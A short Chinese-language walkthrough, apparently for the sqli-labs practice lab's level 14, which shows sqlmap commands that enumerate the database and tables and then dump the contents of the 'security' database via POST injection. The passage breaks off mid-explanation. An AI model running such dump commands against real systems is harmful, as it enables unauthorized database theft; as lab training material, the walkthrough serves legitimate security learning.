Sqli-labs第14关通关（三种方法）

使用SQLMap通关

先爆库名。

python sqlmap.py -u http://192.168.2.16/sqli-labs/Less-14/ --data="uname=1&passwd=1&submit=Submit" --current-db

再爆表名。

python sqlmap.py -u http://192.168.2.16/sqli-labs/Less-14/ --data="uname=1&passwd=1&submit=Submit" -D security --tables

这里我就列名和字段一起爆了。

python sqlmap.py -u http://192.168.2.16/sqli-labs/Less-14/ --data="uname=1&passwd=1&submit=Submit" -D security --tables --columns --dump

使用sqlmap执行post注入有两种方式：

一种是--data="',这种方便一点，不需要保存。直接将需要提交的数据复